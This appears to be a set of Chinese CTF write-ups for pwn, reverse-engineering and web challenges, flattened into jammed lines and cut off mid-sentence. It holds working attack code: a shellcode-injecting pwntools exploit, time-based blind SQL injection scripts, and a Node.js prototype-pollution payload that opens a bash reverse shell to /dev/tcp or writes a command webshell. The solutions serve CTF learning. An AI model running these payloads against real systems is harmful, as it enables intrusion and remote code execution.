[start]direction_path = []visited = set()if dfs(maze, start[0], start[1], end, path, visited, direction_path):return direction_pathelse:return Nonepath = solve_maze(maze)
path_ = "".join(path).lower()
sl(path_)p.interactive()
解法二
观察力惊人的我们发现,菜单
只出现了 1、3,唯独跳过了 2,于是好奇心过剩的我们,尝试输入 2
,得到了一句提示
当然,不知道是什么数字也没事,我们可以掏出 IDA,一逆究竟
TIP
本题是用 Rust 编写的,这会导致在 IDA 中会显得十分杂乱
Rust 编译出来的程序,其主函数在 Maze_Rust::main
中
进入到主函数中,我们通过题目的功能来进行猜测。题目的菜单要求我们输入数字来进行选择,我们找到类似多个 if 判断选择的地方
在这段代码中,我们发现程序对 v74
进行了多次的if比较,猜测它就是我们输入的数字,判断后执行的如 generate_maze
,也符合程序中菜单的功能
通过逆向(或是对绫地宁宁的理解)我们可以知道,输入的数字是 0721
在代码中,我们发现程序对 DEBUG 的一个全局变量做了修改
通过 X 键查找引用
找到了第二处引用的位置,因此在第二次附近,我们猜测就是 Backdoor 的 Stage2
激活后门 Stage1 后,程序会给出提示
我们找到输入的地方,发现输入的字符串最终是v20,并且和后面的东西进行了 cmp
比较
TIP
Rust 的字符串比较用上了 xmm 寄存器,提高效率
跟进查看这两处存的字符
使用 ⇧ ShiftE 提取内容
合起来就是 I'm the best pwner!!!
于是我们输入就可以 Get Shell:
MakeHero
逆向分析
固定步骤,拖入 IDA 分析
c
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{unsigned __int8 v4; // [rsp+3h] [rbp-8Dh] BYREFint v5; // [rsp+4h] [rbp-8Ch]unsigned __int64 v6; // [rsp+8h] [rbp-88h] BYREFchar v7[120]; // [rsp+10h] [rbp-80h] BYREFunsigned __int64 v8; // [rsp+88h] [rbp-8h]v8 = __readfsqword(0x28u);sub_1430(a1, a2, a3);v5 = 2;puts("Welcome to NewStarCTF week4!");puts(aEek4);printf(asc_20F8);__isoc99_scanf("%100s", v7);printf(aS, v7);puts(asc_2158);while ( 1 ){if ( !v5-- ){puts(asc_2270);sleep(3u);printf(asc_22B1, v7);exit(0);}printf(asc_217F);puts(asc_2198);if ( (unsigned int)__isoc99_scanf("%lx %hhx", &v6, &v4) != 2 ){puts(asc_2208);puts(asc_2233);exit(-1);}if ( v5 == 1 ){if ( v6 < qword_4060 || v6 >= qword_4068 )goto LABEL_7;
LABEL_11:sub_1369(v6, v4);}else{if ( v6 >= qword_4050 && v6 < qword_4058 )goto LABEL_11;
LABEL_7:puts(aOhNo);}}
}
c
int __fastcall sub_1369(__off_t a1, char a2)
{char buf[4]; // [rsp+4h] [rbp-1Ch] BYREF__off_t offset; // [rsp+8h] [rbp-18h]int fd; // [rsp+1Ch] [rbp-4h]offset = a1;buf[0] = a2;fd = open("/proc/self/mem", 2);if ( fd == -1 ){perror("open /proc/self/mem");exit(1);}if ( lseek(fd, offset, 0) == -1 ){perror("lseek");close(fd);exit(1);}if ( write(fd, buf, 1uLL) != 1 )perror("write");return close(fd);
}
可知,程序实现了通过 /proc/self/mem
实现了任意地址的改写
TIP
程序是通过 open("/proc/self/mem")
的方式实现改写,因此无视各地址段的读写权限
程序读入两个数字,%lx
是地址,%hhx
是要改的字节
其中,程序对 v6
的取值做了限制
在 sub_1430
函数中,对这几个全局变量做了初始化
结合 gdb 动调时的地址分布,我们可知,qword_4060
和 qword_4068
是程序 ELF 的地址,qword_4050
和 qword_4058
是程序 libc 的地址
Pwn it
程序能任意写两次,第一次能改写 ELF,第二次能改写 libc,仅有的两次机会是不足以让我们拿到 flag 的,我们需要通过仅有的两次机会来让我们获得「无限次」的机会
分析发现,程序的退出点在这里
因此我们能否通过修改跳转条件或是其他,来让程序不执行退出呢
我们或许可以通过改 jnz 为其他条件跳转来实现一直执行,也可以让 v5--
变为 v5++
来实现「无限次」任意写
在这,我选择修改 --
为 ++
,就是将 8D 50 FF
改为 8D 50 01
改完后,我们能一直任意写,剩下的就很多种解法了
我选择将exit处代码改为shellcode,getshell
python
#!/usr/bin/env python3
from pwn import *context(log_level='debug', arch='amd64', os='linux')
context.terminal = ["tmux", "splitw", "-h"]
uu64 = lambda x: u64(x.ljust(8, b'\x00'))
s = lambda x: p.send(x)
sa = lambda x, y: p.sendafter(x, y)
sl = lambda x: p.sendline(x)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)p = process('./MakeHero')
libc = ELF("./libc.so.6")def u8_ex(data) -> int:assert isinstance(data, (str, bytes)), "wrong data type!"length = len(data)assert length <= 1, "len(data) > 1!"if isinstance(data, str):data = data.encode('latin-1')data = data.ljust(1, b"\x00")return unpack(data, 8)def write_mem(addr, byte):if isinstance(byte, bytes):sla(b'\x89\xef\xbc\x81', hex(addr) + ' ' + hex(u8_ex(byte)))elif isinstance(byte, int):sla(b'\x89\xef\xbc\x81', hex(addr) + ' ' + hex(byte))def write_code(addr, code):for i in range(len(code)):write_mem(addr + i, code[i])ru(b'** ')
code_base = int(p.recvuntil(b' -', drop=True), 16)ru(b'## ')
libc_base = int(p.recvuntil(b' -', drop=True), 16)sl(b'inkey')write_mem(code_base + 0x1877, 0x1)
write_mem(libc_base + libc.sym.exit + 4, b'\x90')
write_mem(code_base + 0x1877, 0x1)
write_code(libc_base + libc.sym.exit + 5, b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")
sl(b'bye')p.interactive()
这题既能改elf,也能改libc,应该会有很多不一样的解法吧(
Sign in
用 C++ 写的一个简单小游戏,参考了 fgo 里的职阶克制,得分达到 1145 即可胜利
我们发现,程序有存档读档的功能,于是「精通单机」的我们可以想到用 SL 大法来达成目标
具体实施就是输了就读档,赢了就存档
python
#!/usr/bin/env python3
from pwn import *context(log_level='debug', arch='amd64', os='linux')
uu64 = lambda x: u64(x.ljust(8, b'\x00'))
s = lambda x: p.send(x)
sa = lambda x, y: p.sendafter(x, y)
sl = lambda x: p.sendline(x)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)p = process('./Signin')
p.sendlineafter(b'Enter your name:', b'inkey')
elf = ELF('./Signin')sorce = 0def fight():global sorcesla(b'6. Save file', b'1')sla(b'Choose your class:', b'Berserker')p.recvline()result = b'You beated' in p.recvline()ru(b'Now you have ')sorce = int(p.recvuntil(b' sorce', drop=True))sl(b'')sl(b'')return resultdef save(io):io.sendlineafter(b'6. Save file', b'6')io.sendline(b'')def load(io):io.sendlineafter(b'6. Save file', b'5')io.sendline(b'')context.log_level = 'info'
load(p)
while True:if fight():print("win")print(f"sorce: {sorce}")if sorce > 1145:breaksave(p)else:print("lose")print(f"sorce: {sorce}")load(p)print("Got shell")
sl(b"cat /flag")p.interactive()
洞 OVO
首先根据题目信息直接搜索 给定版本的 WinRAR,一搜就有。
确定漏洞为 WinRAR version 6.22 - Remote Code Execution via ZIP archive (CVE-2023-38831).
找点参考文章学一学:
- WinRAR 代码执行漏洞(CVE-2023-38831)的原理分析
- WinRAR(CVE-2023-38831)漏洞原理
通过文章阅读了解主要流程:获取点击的文件 → 释放到临时目录 → 执行。
那么题目要求找的函数段大概率就是释放到临时目录这一段。
网上的文章一般来说都是给的这一段:
c
// 0x140089948
char __fastcall compare(WCHAR *click_name, WCHAR *deFileName, int a3)...if ( (_WORD)a3 ){v7 = -1i64;tName_len = -1i64;do++tName_len;while ( click_name[tName_len] );if ( (unsigned int)(unsigned __int16)a3 - 2 > 2 ){if ( a3 >= 0 )v9 = sub_1400AF168(click_name, deFileName);elsev9 = wcsncmp(click_name, deFileName, tName_len);if ( !v9 ){tail = deFileName[tName_len];if ( tail == '\\' || tail == '/' || !tail )return 1;}if ( v3 == 1 )return 0;}...
}
题目当然没有这么简单,不过离答案也很接近了,向上溯源,再结合使用 bindiff,得到 sub_1400EF508
.
流程如下:
sub_1400EF508` -> `sub_140009290` -> `sub_14000A650` -> `sub_1400D6070` -> `0x1400D6478` -> `0x1400D3474` -> `0x1400CEBF4` -> `0x140077054` -> `0x140089948
预期做法难度可能较大,不过本题还有其他解法。
PS: 可疑函数并不多,锁定范围爆破提交一下基本就 easy 结束了。偷鸡做法:因为修复之处增加了 3 条汇编 所以把所有新旧对比改了 3 条汇编的地方 全交一遍估计也能成。
EZRUST
友情建议一下,最好用 IDA 8.3 及以上分析
通过 string
找到主逻辑
明显看到 stdin.read_line
输入数据,v6
就是密文,后面有个判断前面一大段密文相等的逻辑,还能发现有一个 loverust
字符串
因为 Rust 语言的特性,很难找到具体功能的实现逻辑在哪,调用链有点复杂,实际的加密逻辑与主逻辑包了非常多层,所以采用动调
进行基本分析后可以得出 loverust
是加密的关键字串,也可以说是 key
可以直接在 loverust
上下一个硬件断点,然后开始动调
可以看到 IDA 直接断在了加密上
对函数按 X 做多次交叉引用可以发现加密循环
回到加密处,查看变量可以发现 a3
就是我们的输入,a1
是 loverust
,v5
是指针
这里查看 v5
的来源,v7
值是 8 - 1 = 7
,就是一个 key[7 - (i % 8)]
的逻辑
也就是 loverust
是逆序与输入进行异或
写解密脚本
python
en=[0x12, 0x1f, 0x14, 0x15, 0x1e, 0x0f, 0x5f, 0x39, 0x2b, 0x33, 0x07, 0x41,0x3a, 0x4f, 0x5f, 0x03, 0x10, 0x2c, 0x35, 0x06, 0x3a, 0x04, 0x1a, 0x1f,0x00, 0x0e]
s=''
key='loverust'
for i in range(len(en)):s+=chr(en[i]^ord(key[7 - (i % 8)]))
print(s)
easygui
建议新生在做这道题时了解一下 Windows 的消息循环机制。
首先使用 IDA 打开程序。
sub_140001490
这个函数就是回调函数,点进即可发现主要逻辑。
首先有一个反调试函数,可以让 IsDebuggerPresent
函数返回值 patch 成 0
,或者直接 nop 掉这个函数的调用。
在这部分就是读取文本框的字符串,然后加密比较的环节。
点进 encrypt
函数可以加密算法比较复杂。
c
unsigned __int64 __fastcall sub_140001000(__int64 a1, int a2, void *a3)
{signed __int64 v4; // rbxint v6; // edisigned __int64 v7; // rsisigned __int64 i; // rcxsigned __int64 j; // rdxsigned __int64 k; // r11unsigned __int8 v11; // r9unsigned __int8 v12; // r10char v13; // clchar v14; // r8__int16 v15; // kr00_2__int64 v16; // r14int v17; // ebxint v18; // ecx__int64 v19; // rdx__int64 v20; // rax__int64 v21; // rdxint v22; // r8d_BYTE *v23; // rcxunsigned __int64 result; // raxint v25; // r8dsigned __int64 m; // r10int v27; // r9dchar v28[16]; // [rsp+20h] [rbp-E0h] BYREF__int128 v29[16]; // [rsp+30h] [rbp-D0h] BYREFchar Src[304]; // [rsp+130h] [rbp+30h] BYREFchar v31[256]; // [rsp+260h] [rbp+160h] BYREFv4 = a2;memset(Src, 0, 0x12Cui64);v6 = 0;v7 = v4;if ( v4 > 0 ){for ( i = 0i64; i < v4; ++i )Src[i] = *(a1 + 2 * i);}v29[0] = _mm_load_si128(&xmmword_1400033C0);v29[1] = _mm_load_si128(&xmmword_1400033D0);v29[2] = _mm_load_si128(&xmmword_140003390);v29[3] = _mm_load_si128(&xmmword_1400033E0);v29[4] = _mm_load_si128(&xmmword_1400033B0);v29[5] = _mm_load_si128(&xmmword_140003400);v29[6] = _mm_load_si128(&xmmword_1400033F0);v29[7] = _mm_load_si128(&xmmword_1400033A0);if ( v4 > 0 ){for ( j = 0i64; j < v4; ++j )Src[j] = *(v29 + Src[j]);for ( k = 0i64; k < v4; k += 4i64 ){v11 = Src[k + 3];v12 = Src[k + 2];v13 = (Src[k] >> 3) | (32 * v11);v14 = 32 * Src[k + 1];Src[k + 1] = (32 * Src[k]) | (Src[k + 1] >> 3);v15 = 32 * v12;Src[k + 2] = v14 | HIBYTE(v15);Src[k] = v13;Src[k + 3] = v15 | (v11 >> 3);}}v16 = 256i64;strcpy(v28, "easy_GUI");v17 = 0;memset(v31, 0, sizeof(v31));v18 = 0;v19 = 0i64;do{*(v29 + v19) = v18;v20 = v18 & 7;++v19;++v18;Src[v19 + 303] = v28[v20];}while ( v18 < 256 );v21 = 0i64;do{v22 = *(v29 + v21);v17 = (v22 + v31[v21] + v17) % 256;v23 = v29 + v17;result = *v23;*(v29 + v21++) = result;*v23 = v22;--v16;}while ( v16 );v25 = 0;if ( v7 > 0 ){for ( m = 0i64; m < v7; ++m ){v6 = (v6 + 1) % 256;v27 = *(v29 + v6);v25 = (v27 + v25) % 256;*(v29 + v6) = *(v29 + v25);*(v29 + v25) = v27;Src[m] ^= *(v29 + (v27 + *(v29 + v6)));}return memcpy(a3, Src, v7);}return result;
}
总体的加密算法逻辑是这样的,首先对所有字符进行查表代换,之后每四个字节为一组,每组整体循环右移 3 位,最后使用 RC4 算法进行加密。
在 encrypt
函数之后就是密文比较,由于 VS 的优化导致比较难提取数据,最后写出解密脚本。
c
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
void shiftright(unsigned char* input) {unsigned char a, b, c, d;a = input[0];b = input[1];c = input[2];d = input[3];unsigned char a2, b2, c2, d2;a2 = (a << 3) | (b >>5 );b2 = (b << 3) | (c >> 5);c2 = (c << 3) | (d >> 5);d2 = (d << 3) | (a >> 5);input[0] = a2;input[1] = b2;input[2] = c2;input[3] = d2;
}
void subbytes_reverse(unsigned char* input, int length) {char table_reverse[] = { 18, 66, 86, 4, 12, 35, 16, 124, 21, 84, 109, 22, 64, 108, 34, 70, 93, 106, 46, 23, 62, 37, 58, 47, 73, 126, 27, 68, 61, 123, 117, 14, 3, 20, 80, 127, 118, 38, 36, 105, 79, 43, 45, 103, 29, 100, 48, 26, 67, 0, 115, 53, 104, 9, 97, 17, 92, 49, 8, 33, 42, 51, 87, 72, 119, 44, 11, 15, 54, 91, 90, 57, 94, 101, 121, 25, 114, 116, 122, 65, 88, 31, 24, 5, 2, 82, 30, 50, 112, 28, 63, 81, 113, 77, 85, 60, 96, 98, 71, 39, 40, 10, 52, 120, 69, 74, 78, 13, 55, 75, 99, 56, 7, 59, 83, 111, 1, 125, 19, 110, 6, 95, 41, 89, 102, 107, 76, 32 };for (int i = 0; i < length; i++) {input[i] = table_reverse[input[i]];}
}
void rc4_init(unsigned char* s, unsigned char* key, int Len_k)
{int i = 0, j = 0;char k[256] = { 0 };unsigned char tmp = 0;for (i = 0; i < 256; i++) {s[i] = i;k[i] = key[i % Len_k];}for (i = 0; i < 256; i++) {j = (j + s[i] + k[i]) % 256;tmp = s[i];s[i] = s[j];s[j] = tmp;}
}
void rc4_crypt(unsigned char* Data, int Len_D, unsigned char* key, int Len_k)
{unsigned char s[256];rc4_init(s, key, Len_k);int i = 0, j = 0, t = 0;int k = 0;unsigned char tmp;for (k = 0; k < Len_D; k++) {i = (i + 1) % 256;j = (j + s[i]) % 256;tmp = s[i];s[i] = s[j];s[j] = tmp;t = (s[i] + s[j]) % 256;Data[k] = Data[k] ^ s[t];}
}
void decrypt() {unsigned char char_array[] = { 0xdf ,0xc7 ,0x4d ,0x14 ,0xc1 ,0xec ,0x08 ,0xe4 ,0x5f ,0x3f ,0x03 ,0xb4 ,0x90 ,0x4a ,0xb9 ,0x8f ,0x8f ,0xfa ,0x71 ,0x43 ,0xc7 ,0xf1 ,0x9d ,0xdd ,0x4f ,0xc0 ,0x12 ,0x44 ,0x5c ,0x9d ,0x88 ,0x36 ,0x2d ,0x16 ,0x1d ,0xed ,0xbc ,0xef ,0xbb ,0x5b ,0x9f ,0x77 ,0xeb ,0x58 }; unsigned char key[] = "easy_GUI";int keylength = 8;int length=strlen((const char*)char_array);rc4_crypt(char_array, length, key, keylength);for (int i = 0; i < length; i += 4) {shiftright(char_array + i);}subbytes_reverse(char_array, length);printf("%s",char_array);
}
int main(){decrypt();return 0;
}
// flag{GU!_r3v3R5e_3nG1n3er1ng_i5_v3ry_s1mpl3}
其中 subbytes_reverse
函数中的 table_reverse
表可以由下面这段代码得到
python
table = [49, 116, 84, 32, 3, 83, 120, 112, 58, 53, 101, 66, 4, 107, 31, 67, 6, 55, 0, 118, 33, 8, 11, 19, 82, 75, 47, 26, 89, 44, 86, 81, 127, 59, 14, 5, 38, 21, 37, 99, 100, 122, 60, 41, 65, 42, 18, 23, 46, 57, 87, 61, 102, 51, 68, 108, 111, 71, 22, 113, 95, 28, 20, 90, 12, 79, 1, 48, 27, 104, 15, 98, 63, 24, 105, 109, 126, 93, 106, 40, 34, 91, 85, 114, 9, 94, 2, 62, 80, 123, 70, 69, 56, 16, 72, 121, 96, 54, 97, 110, 45, 73, 124, 43, 52, 39, 17, 125, 13, 10, 119, 115, 88, 92, 76, 50, 77, 30, 36, 64, 103, 74, 78, 29, 7, 117, 25, 35]
table_reverse = [0] * 128
for i in range(128):table_reverse[table[i]] = i
print(table_reverse)
'''
[18, 66, 86, 4, 12, 35, 16, 124, 21, 84, 109, 22, 64, 108, 34, 70, 93, 106, 46, 23, 62, 37, 58, 47, 73, 126, 27, 68, 61, 123, 117, 14, 3, 20, 80, 127, 118, 38, 36, 105, 79, 43, 45, 103, 29, 100, 48, 26, 67, 0, 115, 53, 104, 9, 97, 17, 92, 49, 8, 33, 42, 51, 87, 72, 119, 44, 11, 15, 54, 91, 90, 57, 94, 101, 121, 25, 114, 116, 122, 65, 88, 31, 24, 5, 2, 82, 30, 50, 112, 28, 63, 81, 113, 77, 85, 60, 96, 98, 71, 39, 40, 10, 52, 120, 69, 74, 78, 13, 55, 75, 99, 56, 7, 59, 83, 111, 1, 125, 19, 110, 6, 95, 41, 89, 102, 107, 76, 32]
'''
最后的 flag: flag{GU!_r3v3R5e_3nG1n3er1ng_i5_v3ry_s1mpl3}
MazE
出题思路是这样的,搞了两个进程,两个进程中使用 pipe 通信,父进程作为客户端显示界面,子进程作为服务端计算数据。
地图的数据是以加密加压缩的方式存储在全局变量里的。
运行过程中,会对已经走到的位置所在的 3×3 矩形进行解密,并传输给父进程输出出来。
因此总体做题思路是分析出地图解密算法,然后将全部地图数据复制下来全部解密,然后跑一个搜索算法即可。
之后就是分析 main
函数部分。仔细分析一下,关键点在于子进程中的 while 循环里。
这里对某些函数进行了重命名,帮助同学们理解代码。
get_location
的功能就是通过用户输入的路径来判断最终的位置。
tostr
就是通过最终的位置解密地图数据得到 3×3 区域的地图。
tobinary
函数是关键的解密函数。
decrypt
就是对 map
中的特定字节进行 xor 解密,解密之后再将该字节分解成二进制从而提取出特定位置的地图数据。
map
的存放思路就是对原先只有 0 和 1 的地图数据压缩成字节数组,然后对字节数组进行 xor 加密,因此解密只需要反过来即可。
提取出地图数据即可写出 DFS 脚本得到答案。
decrypt.cdfs.cpp
c
// 这里只展示关键部分
unsigned char decrypt(unsigned char* buffer, int index) {unsigned char t;const unsigned char key[] = "tgrddf55";t = buffer[index] ^ key[index % 8];return t;
}int tobinary(unsigned char* buffer, int x, int y) {int index1 = (x * 99 + y) / 8;int index2 = (x * 99 + y) % 8;unsigned char t = decrypt(buffer, index1);int bin = t >> (7 - index2);bin &= 1;return bin;
}
unsigned char mapbyte[] = {0x8b, 0x98, 0x8d, 0x9b, 0x9b, 0x99, ....}; // 省略地图数据
int main() {int maptest[99][99] = {0};for (int i = 0; i < 99; i++) {for (int j = 0; j < 99; j++) {int bin = tobinary((unsigned char*)mapbyte, i, j);maptest[i][j] = bin;}return 0;}
}
最终随便找一个在线网站或者使用 Python 都可以得到 MD5 了,最后的flag:flag{4ed5a17ee7aeb95fcf12a3b96a9d4e6f}
.
PlzDebugMe
本题推荐使用 frida,因为 frida 的 spawn 模式是没有 ptrace 特征的,如果是正常修改其实也是可以的,但是比较麻烦(so 和 dex 都要改)。
软件有虚拟机检测,右键复制为 frida 代码
javascript
Java.perform(function(){
let MainActivity = Java.use("work.pangbai.debugme.MainActivity");
MainActivity["isEmu"].implementation = function () {console.log(`MainActivity.isEmu is called`);// let result = this["isEmu"]();// console.log(`MainActivity.isEmu result=${result}`);return 0;
};
})
// 返回 false 去掉虚拟机检测
java
if (MainActivity$$ExternalSyntheticBackport0.m(valueOf)) {new MaterialAlertDialogBuilder(this).setTitle((CharSequence) "CheckResult").setPositiveButton((CharSequence) "确定", (DialogInterface.OnClickListener) null).setMessage((CharSequence) "不准拿空的骗我哟").create().show();return;
} else if (check(new FishEnc(g4tk4y()).doEnc(valueOf))) {new MaterialAlertDialogBuilder(this).setTitle((CharSequence) "CheckResult").setPositiveButton((CharSequence) "确定", (DialogInterface.OnClickListener) null).setMessage((CharSequence) "Congratulations ! ! ! \n你最棒了啦\n").create().show();return;
} else {new MaterialAlertDialogBuilder(this).setTitle((CharSequence) "CheckResult").setPositiveButton((CharSequence) "确定", (DialogInterface.OnClickListener) null).setMessage((CharSequence) "Wrong \n好像哪里有点问题呢\n").create().show();return;
}
可以看出 key 是在 g4tk4y
调用后得到的,FishEnc
里是个 Blowfish,数据经过加密后传入 so 层检验最后显示结果。
javascript
MainActivity["g4tk4y"].implementation = function () {console.log(`MainActivity.g4tk4y is called`);let result = this["g4tk4y"]();console.log(`MainActivity.g4tk4y result=${result}`);return result;
};
可以获得返回值 jRLgC/Pi
这是Key。
IDA 打开 so 查看,是个自写的加密,加密方式与 status
的值有关,status
是 Java 层的静态变量,通过 JNI 的 GetStaticIntField
获取的。
交叉引用 qword_3800
发现是 Java_work_pangbai_debugme_MainActivity_g4tk4y
初始化的字段,status
对应 java 层 work/pangbai/tool/App
类的静态变量 status
.
在 jadx 里可以发现 status = getApplicationInfo().flags & 2
. 由位运算知识可知 status
为 0 或者 1,编写脚本尝试即可。
静态分析很难获得 key(其实也可以得到),本题在 init_array
设置了初始化函数来改变 key,并且 Base64 进行了换位和换表魔改,总之就是很麻烦。
c
#include "stdio.h"
#include "string.h"unsigned char mm[] = {0x08,0x55,0x5f,0x9c,0x70,0x19,0x56,0x40,0x04,0x69,0x67,0x58,0x85,0x52,0x3e,0xc1,0x4c,0x2d,0xdc,0x75,0xaf,0x6e,0xf0,0x06,0xa5,0x5d,0x7b,0x6e,0x2a,0xae,0x7e,0xe3,0xfd,0xfe,0xb9,0xf1,0xac,0x6b,0x96,0x06,0x43,0xbf,0x21,0x4a,0x12,0xf5,0xdb,0x47};
#define ROR(v, n) (v >> n | v << (32 - n))
#define ROL(v, n) (v << n | v >> (32 - n))
void decrypt(char *in, int num, int status)
{// 简单的异或和循环移位unsigned int *p = (unsigned int *)(in);p[0] ^= p[num - 1];p[0] = status ? ROL(p[0], num) : ROR(p[0], num);p[0] ^= p[num - 1];for (int i = num - 2; i >= 0; --i){p[i + 1] ^= p[i];p[i + 1] = status ? ROL(p[i + 1], (i + 1)) : ROR(p[i + 1], (i + 1));p[i + 1] ^= p[i];}puts(in);
}int main()
{int status = 0;decrypt(mm, 12, status);}
// XMvFLgfEmEZFtNLkyupZSOEncBR/BVaqzil47iBYYFE=
拿 key 和密文去 CyberChef 解密即可:Recipe.
Ans: flag{U_@r4_r4v4r54_m@s74r}
blindsql2
爆破当前数据库所有表名
python
import requests, string, timeurl = 'http://ip:port'result = ''
for i in range(1,100):print(f'[+]bruting at {i}')for c in string.ascii_letters + string.digits + ',_-{}':time.sleep(0.01) # 限制速率,防止请求过快print('[+]trying:', c)tables = f'(Select(group_concat(table_name))from(infOrmation_schema.tables)where((table_schema)like(database())))'# 获取第 i 个字符,并计算 ascii 值char = f'(ord(mid({tables},{i},1)))'# 爆破该 ascii 值b = f'(({char})in({ord(c)}))'# 若 ascii 猜对了,会执行 sleep(1.5)p = f'Alice\'and(if({b},sleep(1.5),0))#'res = requests.get(url, params={'student_name':p})if res.elapsed.total_seconds() > 1.5:print('[*]bingo:', c)result += cprint(result)break
爆破 secrets
表的列名
python
import requests, string, timeurl = 'http://ip:port'result = ''
for i in range(1,100):print(f'[+]bruting at {i}')for c in string.ascii_letters + string.digits + ',_-{}':time.sleep(0.01) # 限制速率,防止请求过快print('[+]trying:' ,c)columns = f'(Select(group_concat(column_name))from(infOrmation_schema.columns)where((table_name)like(\'secrets\')))'# 获取第 i 个字符,并计算 ascii 值char = f'(ord(mid({columns},{i},1)))'# 爆破该 ascii 值b = f'(({char})in({ord(c)}))'# 若 ascii 猜对了,会执行 sleep(1.5)p = f'Alice\'and(if({b},sleep(1.5),0))#'res = requests.get(url, params={'student_name':p})if res.elapsed.total_seconds() > 1.5:print('[*]bingo:', c)result += cprint(result)break
爆破 flag
python
import requests, string, timeurl = 'http://ip:port'result = ''
for i in range(1,100):print(f'[+]bruting at {i}')for c in string.ascii_letters + string.digits + ',_-{}':time.sleep(0.01) # 限制速率,防止请求过快print('[+]trying:', c)flag = f'(Select(group_concat(secret_value))from(secrets)where((secret_value)like(\'flag%\')))'# 获取第 i 个字符,并计算 ascii 值char = f'(ord(mid({flag},{i},1)))'# 爆破该 ascii 值b = f'(({char})in({ord(c)}))'# 若 ascii 猜对了,会执行 sleep(1.5)p = f'Alice\'and(if({b},sleep(1.5),0))#'res = requests.get(url, params={'student_name':p})if res.elapsed.total_seconds() > 1.5:print('[*]bingo:', c)result += cprint(result)break
Ezpollute
根据题目名称可知,这是一道 JavaScript 的原型链污染题
查看部署文件,可以得知 Node.js 版本为 16,并且使用了 node-dev
热部署启动
审计 index.js
, /config
路由下调用了 merge
函数, merge
函数意味着可能存在的原型链污染漏洞
javascript
router.post('/config', async (ctx) => {jsonData = ctx.request.rawBody || "{}"token = ctx.cookies.get('token')if (!token) {return ctx.body = {code: 0,msg: 'Upload Photo First',}}const [err, userID] = decodeToken(token)if (err) {return ctx.body = {code: 0,msg: 'Invalid Token',}}userConfig = JSON.parse(jsonData)try {finalConfig = clone(defaultWaterMarkConfig)// 这里喵merge(finalConfig, userConfig)fs.writeFileSync(path.join(__dirname, 'uploads', userID, 'config.json'), JSON.stringify(finalConfig))ctx.body = {code: 1,msg: 'Config updated successfully',}} catch (e) {ctx.body = {code: 0,msg: 'Some error occurred',}}
})
merge
函数在 /util/merge.js
中,虽然过滤了 proto
,但我们可以通过 constructor.prototype
来绕过限制
javascript
// /util/merge.js
function merge(target, source) {if (!isObject(target) || !isObject(source)) {return target}for (let key in source) {if (key === "__proto__") continueif (source[key] === "") continueif (isObject(source[key]) && key in target) {target[key] = merge(target[key], source[key]);} else {target[key] = source[key];}}return target
}
/process
路由调用了 fork
,创建了一个 JavaScript 子进程用于水印添加
javascript
try {await new Promise((resolve, reject) => {// 这里喵const proc = fork(PhotoProcessScript, [userDir], { silent: true })proc.on('close', (code) => {if (code === 0) {resolve('success')} else {reject(new Error('An error occurred during execution'))}})proc.on('error', (err) => {reject(new Error(`Failed to start subprocess: ${err.message}`))})})ctx.body = {code: 1,msg: 'Photos processed successfully',}} catch (error) {ctx.body = {code: 0,msg: 'some error occurred',}}
结合之前的原型链污染漏洞,我们污染 NODE_OPTIONS
和 env
,在 env
中写入恶意代码,fork
在创建子进程时就会首先加载恶意代码,从而实现 RCE
python
payload = {"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ","env": {"A":"require(\"child_process\").execSync(\"bash -c \'bash -i >& /dev/tcp/ip/port 0>&1\'\")//"}}}
}
# 需要注意在 Payload 最后面有注释符 `//`,这里的思路跟 SQL 注入很像
考虑到新生可能没有云服务器来反弹 shell,因此在赛题设计时选择了热部署启动
除了弹 shell,还可以通过写 WebShell 覆盖 index.js
,从而实现有回显 RCE,或者把 flag 输出到 static
目录下读也可以
比赛时题目环境并没有出网,弹不了 shell,只能通过后两种方式来做,这里给出写 WebShell 的做法
热部署
就是在应用正在运行的时候升级软件,却不需要重新启动应用
python
import requests
import re
import base64
from time import sleepurl = "http://url:port"# 获取 token
# 随便发送点图片获取 token
files = [('images', ('anno.png', open('./1.png', 'rb'), 'image/png')),('images', ('soyo.png', open('./2.png', 'rb'), 'image/png'))
]
res = requests.post(url + "/upload", files=files)
token = res.headers.get('Set-Cookie')
match = re.search(r'token=([a-f0-9\-\.]+)', token)
if match:token = match.group(1)print(f"[+] token: {token}")
headers = {'Cookie': f'token={token}'
}# 通过原型链污染 env 注入恶意代码即可 RCE# 写入 WebShell
webshell = """
const Koa = require('koa')
const Router = require('koa-router')
const app = new Koa()
const router = new Router()router.get("/webshell", async (ctx) => {const {cmd} = ctx.queryres = require('child_process').execSync(cmd).toString()return ctx.body = {res}
})app.use(router.routes())
app.listen(3000, () => {console.log('http://127.0.0.1:3000')
})
"""# 将 WebShell 内容 Base64 编码
encoded_webshell = base64.b64encode(webshell.encode()).decode()# Base64 解码后写入文件
payload = {"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ","env": {"A": f"require(\"child_process\").execSync(\"echo {encoded_webshell} | base64 -d > /app/index.js\")//"}}}
}# 原型链污染
requests.post(url + "/config", json=payload, headers=headers)# 触发 fork 实现 RCE
try:requests.post(url + "/process", headers=headers)
except Exception as e:passsleep(2)
# 访问有回显的 WebShell
res = requests.get(url + "/webshell?cmd=cat /flag")
print(res.text)
Ezcmsss
在首页源码里找到提示,需要查看备份文件
访问 /www.zip
获得源码备份文件,在 readme.txt
获得 jizhicms 版本号为 v1.9.5,在 start.sh
获得服务器初始化时使用的管理员账号和密码
同时在 start.sh
中有备注提示访问 admin.php
进入管理页面,然后使用上面的账号密码登录
上网搜索可以发现 jizhicms v1.9.5 有一个管理界面的任意文件下载漏洞
在 扩展管理-插件列表
中发现只有一个插件,这是由于容器不出网导致的,因此我们不能按照网上的方式,使用公网的 url 链接下载文件,需要在将 .zip 文件上传到题目容器里,然后通过任意文件下载漏洞本地下载、解压
有几种上传 .zip
文件的方法,都可以获取到文件保存的目录,其中一种是在 栏目管理-栏目列表-新增栏目
中添加附件,上传构造好的包含 php 马的压缩包
抓包获得保存路径为 /static/upload/file/20241016/1729079175871306.zip
,测试可以访问
在插件那边进行抓包,构造请求如下(可以照着网上的漏洞复现依葫芦画瓢,filepath
